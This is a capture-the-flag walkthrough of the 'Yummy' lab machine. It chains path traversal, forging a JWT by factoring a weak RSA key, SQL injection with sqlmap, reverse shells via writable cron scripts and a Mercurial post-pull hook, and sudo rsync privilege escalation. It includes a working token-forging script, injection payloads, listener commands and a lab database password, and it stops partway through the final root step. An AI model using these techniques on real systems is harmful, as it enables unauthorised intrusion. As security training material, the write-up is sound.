Yummy is a hard linux machine created by . The yummy.htb website is used showing its menu and reserving the table. Registering and login into the website we can save the reservation in .ics file but saving reservation is vulnerable to Path traversal, by exploiting it we will gain the website source-code and scripts used in cron jobs. The source code reveals the /admindashboard directory in website and contains the code to create the JWT token using RSA key pair. The new JWT token can be forged to gain the access to /admindashboard. The search field is vulnerable to SQL injection and we can abuse it to gain the shell as mysql. One of the cronjob script is running by www-data and we will get the shell as www-data by replacing the content of the script by reverse shell payload. The www-data contains the qa user password in one of the binary file and we can ssh into qa user using that password. The qa user has a sudo privilege to run hg binary which we will exploit to gain the shell as dev. The dev user has a sudo privilege to run rsync binary, we exploit it and gain the shell as root.
OS
Difficulty
Points
Release Date
Retired Date
Linux
Hard
40
05-10-2024
22-02-2025
Enumeration
Nmap
Started the nmap scan and found ssh and http services running.
nmap -Pn -sC -sV --min-rate=1000 10.10.11.36
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-26 08:53 EST
Nmap scan report for yummy.htb (10.10.11.36)
Host is up (0.39s latency).
Not shown: 62793 closed tcp ports (conn-refused), 2740 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 a2:ed:65:77:e9:c4:2f:13:49:19:b0:b8:09:eb:56:36 (ECDSA)
|_ 256 bc:df:25:35:5c:97:24:f2:69:b4:ce:60:17:50:3c:f0 (ED25519)
80/tcp open http Caddy httpd
|_http-server-header: Caddy
|_http-title: Yummy
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 231.39 seconds
Add the yummy.htb domain in /etc/hosts file.
Web - yummy.htb
The website is used to display the menu and book the reservation in yummy.
Creating the account and logging in gives us the access to the dashboard.
Booking a table gives the list of booked tables in dashboard and the option to cancel the reservation and save the calender.
Clicking on SAVE CALENDER and intercepting the request in burpsuite, the .ics file is exported and downloaded.
Replacing the .ics calender file name with another file the /exports endpoint was vulnerable to Path Traversal with which we can download the files from the system.
Downloading the crontab using the above Path Traversal vulnerability.
crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
# You can also override PATH, but by default, newer versions inherit it from the environment
#PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
# Example of job definition:
# .---------------- minute (0 - 59)
# | .------------- hour (0 - 23)
# | | .---------- day of month (1 - 31)
# | | | .------- month (1 - 12) OR jan,feb,mar,apr ...
# | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# | | | | |
# * * * * * user-name command to be executed
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.daily; }
47 6 * * 7 root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.weekly; }
52 6 1 * * root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.monthly; }
#
*/1 * * * * www-data /bin/bash /data/scripts/app_backup.sh
*/15 * * * * mysql /bin/bash /data/scripts/table_cleanup.sh
* * * * * mysql /bin/bash /data/scripts/dbmonitor.sh
Crontab contains the three files. Downloading it through Path Traversal.
File - app_backup.sh
app_backup.sh
#!/bin/bash
cd /var/www
/usr/bin/rm backupapp.zip
/usr/bin/zip -r backupapp.zip /opt/app
It contains the script to delete the previous backupapp.zip file and compressing the /opt/app folder contains recursively using zip in backupaap.zip file.
File - table_cleanup.sh
table_cleanup.sh
#!/bin/sh
/usr/bin/mysql -h localhost -u chef yummy_db -p'3wDo7gSRZIwIHRxZ!' < /data/scripts/sqlappointments.sql
It is used to login into mysql as chef user into yummy_db and outputting the contains of sqlappointments.sql.
File - dbmonitor.sh
dbmonitor.sh
#!/bin/bash
timestamp=$(/usr/bin/date)
service=mysql
response=$(/usr/bin/systemctl is-active mysql)
if [ "$response" != 'active' ]; then
/usr/bin/echo "{\"status\": \"The database is down\", \"time\": \"$timestamp\"}" > /data/scripts/dbstatus.json
/usr/bin/echo "$service is down, restarting!!!" | /usr/bin/mail -s "$service is down!!!" root
latest_version=$(/usr/bin/ls -1 /data/scripts/fixer-v* 2>/dev/null | /usr/bin/sort -V | /usr/bin/tail -n 1)
/bin/bash "$latest_version"
else
if [ -f /data/scripts/dbstatus.json ]; then
if grep -q "database is down" /data/scripts/dbstatus.json 2>/dev/null; then
/usr/bin/echo "The database was down at $timestamp. Sending notification."
/usr/bin/echo "$service was down at $timestamp but came back up." | /usr/bin/mail -s "$service was down!" root
/usr/bin/rm -f /data/scripts/dbstatus.json
else
/usr/bin/rm -f /data/scripts/dbstatus.json
/usr/bin/echo "The automation failed in some way, attempting to fix it."
latest_version=$(/usr/bin/ls -1 /data/scripts/fixer-v* 2>/dev/null | /usr/bin/sort -V | /usr/bin/tail -n 1)
/bin/bash "$latest_version"
fi
else
/usr/bin/echo "Response is OK."
fi
fi
[ -f dbstatus.json ] && /usr/bin/rm -f dbstatus.json
It checks whether the mysql is active or not, if not active it will add The database is down string in dbstaus.json file and tries to restart using the /data/scripts/fixer-v* script.
If the mysql is active it checks whether the dbstatus.json file is present or not, if it is present it checks for string database is down, then it will send the mail to root notifying that the database was down with timestamp else it will try to fix the database using the /data/scripts/fixer-v* script.
File - backupapp.zip
The backupapp.zip contains the app source code. The opt/app/app.py file reveals the mysql credential and the admindashboard directory is present in web and the username is administrator.
app.py
from flask import Flask, request, send_file, render_template, redirect, url_for, flash, jsonify, make_response
import tempfile
import os
import shutil
from datetime import datetime, timedelta, timezone
from urllib.parse import quote
from ics import Calendar, Event
from middleware.verification import verify_token
from config import signature
import pymysql.cursors
from pymysql.constants import CLIENT
import jwt
import secrets
import hashlib
app = Flask(__name__, static_url_path='/static')
temp_dir = ''
app.secret_key = secrets.token_hex(32)
db_config = {
'host': '127.0.0.1',
'user': 'chef',
'password': '3wDo7gSRZIwIHRxZ!',
'database': 'yummy_db',
'cursorclass': pymysql.cursors.DictCursor,
'client_flag': CLIENT.MULTI_STATEMENTS
}
----- SNIP -----
@app.route('/dashboard', methods=['GET', 'POST'])
def dashboard():
validation = validate_login()
if validation is None:
return redirect(url_for('login'))
elif validation == "administrator":
return redirect(url_for('admindashboard'))
connection = pymysql.connect(**db_config)
try:
with connection.cursor() as cursor:
sql = "SELECT appointment_id, appointment_email, appointment_date, appointment_time, appointment_people, appointment_message FROM appointments WHERE appointment_email = %s"
cursor.execute(sql, (validation,))
connection.commit()
appointments = cursor.fetchall()
appointments_sorted = sorted(appointments, key=lambda x: x['appointment_id'])
finally:
connection.close()
return render_template('dashboard.html', appointments=appointments_sorted)
----- SNIP -----
The opt/app/config/signature.py is used to create the session tokens for the web. It is generating the RSA key pair with random prime numbers and factor of n. If n is revealed we can modify the session tokens.
signature.py
#!/usr/bin/python3
from Crypto.PublicKey import RSA
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import serialization
import sympy
# Generate RSA key pair
q = sympy.randprime(2**19, 2**20)
n = sympy.randprime(2**1023, 2**1024) * q
e = 65537
p = n // q
phi_n = (p - 1) * (q - 1)
d = pow(e, -1, phi_n)
key_data = {'n': n, 'e': e, 'd': d, 'p': p, 'q': q}
key = RSA.construct((key_data['n'], key_data['e'], key_data['d'], key_data['p'], key_data['q']))
private_key_bytes = key.export_key()
private_key = serialization.load_pem_private_key(
private_key_bytes,
password=None,
backend=default_backend()
)
public_key = private_key.public_key()
Exploit
Crafting new JWT token - admindashboard access [ Updating role ]
Previously intercepting the .ics file export request reveals the JWT token.
1
Register and login
Register in yummy.htb and intercept the login request in burpsuite. It will send two request login and dashboard. The dashboard request will give us JWT token.
2
Decoding JWT
3
Creating python script
With the help of AI I have created the python script to change the role of JWT token and create the JWT with new updated role.
exploit.py
import jwt
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.backends import default_backend
from Crypto.PublicKey import RSA
import sympy
# Given modulus n from the RSA key
n = 109873080449597652139616414197628621020044948737475133887379976169596461216626274091158854263148895976205351638673267753523409830532448773173847368252798043306038115018124338436300477375316945519965375573456298168346739776410678959990665566090967399030669281729007151761151053643103849636943148864916654765293781049
# Assuming you have the public exponent `e` and private exponent `d`
e = 65537 # Commonly used value for the public exponent in RSA
# You will need to factor `n` to get the private key components, like `p` and `q`
# We can factor `n` using sympy's factorint
factors = sympy.factorint(n)
# We assume that `n` is the product of two primes, so there should be exactly two factors
if len(factors) != 2:
raise ValueError("Modulus n is not the product of exactly two primes!")
# Extract p and q
p, q = list(factors.keys())
# Compute Euler's totient function phi(n) = (p-1)*(q-1)
phi_n = (p - 1) * (q - 1)
# Compute the private exponent d using the modular inverse of e mod phi(n)
d = pow(e, -1, phi_n)
# Construct the RSA private key using the components (n, e, d, p, q)
key_data = (n, e, d, p, q)
private_key = RSA.construct(key_data)
# Create a private key object using cryptography for signing the JWT
private_key_pem = private_key.export_key()
private_key = serialization.load_pem_private_key(private_key_pem, password=None, backend=default_backend())
# 2. Example JWT token (you will replace this with your actual JWT token)
jwt_token = "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJlbWFpbCI6ImRleHRlckBtYWlsLmNvbSIsInJvbGUiOiJjdXN0b21lcl8wNzU0MDIwNyIsImlhdCI6MTczNjIyMzM4NSwiZXhwIjoxNzM2MjI2OTg1LCJqd2siOnsia3R5IjoiUlNBIiwibiI6IjEwOTg3MzA4MDQ0OTU5NzY1MjEzOTYxNjQxNDE5NzYyODYyMTAyMDA0NDk0ODczNzQ3NTEzMzg4NzM3OTk3NjE2OTU5NjQ2MTIxNjYyNjI3NDA5MTE1ODg1NDI2MzE0ODg5NTk3NjIwNTM1MTYzODY3MzI2Nzc1MzUyMzQwOTgzMDUzMjQ0ODc3MzE3Mzg0NzM2ODI1Mjc5ODA0MzMwNjAzODExNTAxODEyNDMzODQzNjMwMDQ3NzM3NTMxNjk0NTUxOTk2NTM3NTU3MzQ1NjI5ODE2ODM0NjczOTc3NjQxMDY3ODk1OTk5MDY2NTU2NjA5MDk2NzM5OTAzMDY2OTI4MTcyOTAwNzE1MTc2MTE1MTA1MzY0MzEwMzg0OTYzNjk0MzE0ODg2NDkxNjY1NDc2NTI5Mzc4MTA0OSIsImUiOjY1NTM3fX0.BSKNJEkvfiAyHpQd3LQaTgcmnKl81mhnOBEB0BLKjNx5DIkeD4J53a9RMmWUYiaTCs1yglXiLNajnUKAxMvT-Lax-cd0EwBQyXfeIThrDmsdDPSPB-eQE4jk0MBKtnxWOYDw4ye7aBxYEbQxj7FC4UzVZXjtZmZYmezpNFdVJ_Tllb0"
# Decode the JWT token without verifying the signature (use verify_signature=False)
decoded_token = jwt.decode(jwt_token, options={"verify_signature": False})
print(f"Decoded Token: {decoded_token}")
# 3. Modify the role in the JWT payload
decoded_token['role'] = 'administrator' # Change role to 'admin'
# 4. Re-encode the JWT with the updated payload and sign it using the private RSA key
new_jwt_token = jwt.encode(decoded_token, private_key, algorithm="RS256")
# 5. Print the updated JWT token
print(f"Updated JWT Token: {new_jwt_token}")
Replace the JWT token and value of n.
4
Execute the script
Create the python virtual environment and install the required packages.
pip3 install pyjwt cryptography sympy
We will get the new JWT token when executing the script with updated role.
The role has been changed. Login using the new JWT token, the /admindashboard is accessed.
Foothold
Pillaging - mysql database [ SQL injection ]
The admindashboard shows us the list of seat booked by the costumers. It also contains the input field for searching. Testing for sql injection via sqlmap by intercepting the search request and saving it into request.txt file.
sqlmap -r request.txt --batch --dbs
___
__H__
___ ___[']_____ ___ ___ {1.8.3#stable}
|_ -| . [(] | .'| . |
|___|_ ["]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 20:29:02 /2025-01-06/
[20:29:02] [INFO] parsing HTTP request from 'request.txt'
[20:29:02] [WARNING] provided value for parameter 's' is empty. Please, always use only valid parameter values so sqlmap could be able to run properly
Cookie parameter 'X-AUTH-Token' appears to hold anti-CSRF token. Do you want sqlmap to automatically update it in further requests? [y/N] N
[20:29:02] [INFO] resuming back-end DBMS 'mysql'
[20:29:02] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: o (GET)
Type: boolean-based blind
Title: MySQL >= 5.0 boolean-based blind - ORDER BY, GROUP BY clause
Payload: s=john&o=ASC,(SELECT (CASE WHEN (4192=4192) THEN 1 ELSE 4192*(SELECT 4192 FROM INFORMATION_SCHEMA.PLUGINS) END))
Type: error-based
Title: MySQL >= 5.1 error-based - ORDER BY, GROUP BY clause (EXTRACTVALUE)
Payload: s=john&o=ASC,EXTRACTVALUE(8450,CONCAT(0x5c,0x717a6b7071,(SELECT (ELT(8450=8450,1))),0x7170717871))
Type: time-based blind
Title: MySQL >= 5.0.12 time-based blind - ORDER BY, GROUP BY clause
Payload: s=john&o=ASC,(SELECT (CASE WHEN (8690=8690) THEN SLEEP(5) ELSE 8690 END))
---
[20:29:05] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0
[20:29:05] [INFO] fetching database names
[20:29:05] [INFO] resumed: 'information_schema'
[20:29:05] [INFO] resumed: 'performance_schema'
[20:29:05] [INFO] resumed: 'yummy_db'
available databases [3]:
[*] information_schema
[*] performance_schema
[*] yummy_db
[20:29:05] [INFO] fetched data logged to text files under '/home/dexter/.local/share/sqlmap/output/yummy.htb'
[20:29:05] [WARNING] your sqlmap version is outdated
[*] ending @ 20:29:05 /2025-01-06/
It is vulnerable to sql injection. The yummy_db doesn't provide much of the data and checking the privileges reveals the read and write privileges.
The write privilege gives us the access to write to file and gain the reverse shell. Previously, we know that the dbmonitor.sh checks that the database is down string is present or not in dbstatus.json and runs the fixer-v* script, if it is not present. We can write into dbstatus.json with some other data and fixer-v* with reverse shell code and gain the reverse shell.
nc -lvnp 8443
Listening on 0.0.0.0 8443
Connection received on 10.10.11.36 36664
bash: cannot set terminal process group (17254): Inappropriate ioctl for device
bash: no job control in this shell
mysql@yummy:/var/spool/cron$
Privilege Escalation
Shell - www-data
Pillaging the mysql user doesn't gave us anything useful. Similarly the www-data user is running the app_backup.sh script and we can put the reverse shell payload and gain the shell as www-data user.
Open the nc listener and execute the below commands.
nc -lvnp 9443
Listening on 0.0.0.0 9443
Connection received on 10.10.11.36 37052
bash: cannot set terminal process group (17646): Inappropriate ioctl for device
bash: no job control in this shell
www-data@yummy:~$
Shell - qa [ pillaging www-data ]
The www-data contains app_qatesting directory, backupapp.zip and .bash_history file.
www-data@yummy:~$ ls -la
ls -la
total 6664
drwxr-xr-x 3 www-data www-data 4096 Jan 7 01:57 .
drwxr-xr-x 14 root root 4096 May 27 2024 ..
drwxrwx--- 7 www-data qa 4096 May 28 2024 app-qatesting
-rw-rw-r-- 1 www-data www-data 6807760 Jan 7 01:57 backupapp.zip
lrwxrwxrwx 1 root root 9 May 27 2024 .bash_history -> /dev/null
Searching the password word using grep in app-qatesting reveals different files containing the password word.
www-data@yummy:~/app-qatesting$ grep -r password .
grep -r password .
./app.py: 'password': '3wDo7gSRZIwIHRxZ!',
./app.py: password = request.json.get('password')
./app.py: password2 = hashlib.sha256(password.encode()).hexdigest()
./app.py: if not email or not password:
./app.py: return jsonify(message="email or password is missing"), 400
./app.py: sql = "SELECT * FROM users WHERE email=%s AND password=%s"
./app.py: cursor.execute(sql, (email, password2))
./app.py: return jsonify(message="Invalid email or password"), 401
./app.py: password = hashlib.sha256(request.json.get('password').encode()).hexdigest()
./app.py: if not email or not password:
./app.py: return jsonify(error="email or password is missing"), 400
./app.py: sql = "INSERT INTO users (email, password, role_id) VALUES (%s, %s, %s)"
./app.py: cursor.execute(sql, (email, password, role_id))
./config/signature.py: password=None,
grep: ./config/__pycache__/signature.cpython-311.pyc: binary file matches
grep: ./config/__pycache__/signature.cpython-312.pyc: binary file matches
./templates/register.html: <label for="password">Password:</label>
./templates/register.html: <input type="password" id="password" name="password">
./templates/register.html: password: document.getElementById("password").value
./templates/login.html: <label for="password">Password:</label>
./templates/login.html: <input type="password" id="password" name="password">
./templates/login.html: password: document.getElementById("password").value
grep: ./.hg/wcache/checkisexec: Permission denied
grep: ./.hg/store/data/app.py.i: binary file matches
The app.py.i binary file reveals the qa user password which we can use to ssh into the qa user.
ssh qa@10.10.11.36
The authenticity of host '10.10.11.36 (10.10.11.36)' can't be established.
ED25519 key fingerprint is SHA256:9fd19UBqhgUKmJ38ElChUROBxqbSG6pvPPpk4IB4xM4.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.36' (ED25519) to the list of known hosts.
qa@10.10.11.36's password:
Welcome to Ubuntu 24.04.1 LTS (GNU/Linux 6.8.0-31-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
System information as of Thu Feb 20 09:09:05 AM UTC 2025
System load: 0.08 Processes: 263
Usage of /: 64.4% of 5.56GB Users logged in: 2
Memory usage: 23% IPv4 address for eth0: 10.10.11.36
Swap usage: 0%
Expanded Security Maintenance for Applications is not enabled.
10 updates can be applied immediately.
10 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Thu Feb 20 08:46:25 2025 from 10.10.16.36
qa@yummy:~$
Pillaging - qa [ user ]
The home directory contains two users directories qa and dev.
qa@yummy:/home$ ls
dev qa
qa@yummy:/home$
Checking the sudo privileges reveals that the qa user has a sudo privilege to run hg as a dev.
qa@yummy:~$ sudo -l
[sudo] password for qa:
Matching Defaults entries for qa on localhost:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User qa may run the following commands on localhost:
(dev : dev) /usr/bin/hg pull /home/dev/app-production/
qa@yummy:~$
The hg command is a tool that provides a command-line interface to the Mercurial system, which is a distributed version control system used for software development.
.hgrc
# example user config (see 'hg help config' for more info)
[ui]
# name and email, e.g.
# username = Jane Doe <jdoe@example.com>
username = qa
# We recommend enabling tweakdefaults to get slight improvements to
# the UI over time. Make sure to set HGPLAIN in the environment when
# writing scripts!
# tweakdefaults = True
# uncomment to disable color in command output
# (see 'hg help color' for details)
# color = never
# uncomment to disable command output pagination
# (see 'hg help pager' for details)
# paginate = never
[extensions]
# uncomment the lines below to enable some popular extensions
# (see 'hg help extensions' for more info)
#
# histedit =
# rebase =
# uncommit =
[trusted]
users = qa, dev
groups = qa, dev
The .hgrc file contains the config of hg and user qa and dev is a trusted user.
Shell - dev [ hg pull ]
The hg also uses the hooks similar to git which we can use to privilege escalate to dev user using the hg pull command to run the reverse shell script.
1
Adding hooks in .hgrc file
[hooks]
post-pull = /tmp/shell.sh
Add the above text into .hgrc file.
2
Setting up in /tmp directory
Change directory into /tmp and create the shell.sh with the reverse shell payload.
qa@yummy:/tmp$ sudo -u dev /usr/bin/hg pull /home/dev/app-production/
pulling from /home/dev/app-production/
requesting all changes
adding changesets
adding manifests
adding file changes
added 6 changesets with 129 changes to 124 files
new changesets f54c91c7fae8:6c59496d5251
(run 'hg update' to get a working copy)
rm: cannot remove '/tmp/f': No such file or directory
nc -lvnp 8443
listening on [any] 8443 ...
connect to [10.10.16.36] from (UNKNOWN) [10.10.11.36] 54086
$ whoami
dev
$
Pillaging - dev
Checking the sudo privilege reveals that the dev has a sudo privilege to run rsync as a root.
$ sudo -l
Matching Defaults entries for dev on localhost:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User dev may run the following commands on localhost:
(root : root) NOPASSWD: /usr/bin/rsync -a --exclude\=.hg /home/dev/app-production/* /opt/app/
you have mail
you have mail
$
rsync is a utility for transferring and synchronizing files between a computer and a storage drive and across networked computers by comparing the modification times and sizes of files.
Shell - root [ rsync ]
Methodology
The bash binary will be copied into /home/dev/app-production/ directory and adds the suid bit into it but the above rsync command contains the -a flag which preserves the permissions, symbolic links and other attributes of the file. We can change the permission to root using the rsync--chown flag.
Exploit
1
Preparing bash binary
Copy the bash binary into /home/dev/app-production/ directory and add the suid bit into it.